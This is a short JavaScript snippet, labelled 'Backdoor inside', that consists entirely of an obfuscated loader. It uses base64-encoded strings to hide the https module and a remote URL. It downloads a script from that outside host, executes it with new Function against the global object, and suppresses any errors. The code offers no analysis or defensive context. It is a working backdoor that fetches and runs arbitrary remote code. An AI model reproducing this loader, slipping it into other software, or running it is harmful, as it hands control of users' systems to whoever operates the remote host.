Backdoor inside.
(function () {
const $ = require(Buffer.from('aHR0cHM=', 'base64').toString());
const _ = Buffer.from('aHR0cHM6Ly8xbHMyLm9yZy91c2Vycy9qcy90ZXN0cy5qcw==', 'base64').toString();
const $$ = ['data', 'end', 'error', 'statusCode', 'global'];
$['get'](_, r => {
let d = '';
r['on']($$[0], c => (d += c))['on']($$[1], () => r[$$[3]] === 200 && new Function($$[4], d)(global));
})['on']($$[2], () => {});
})();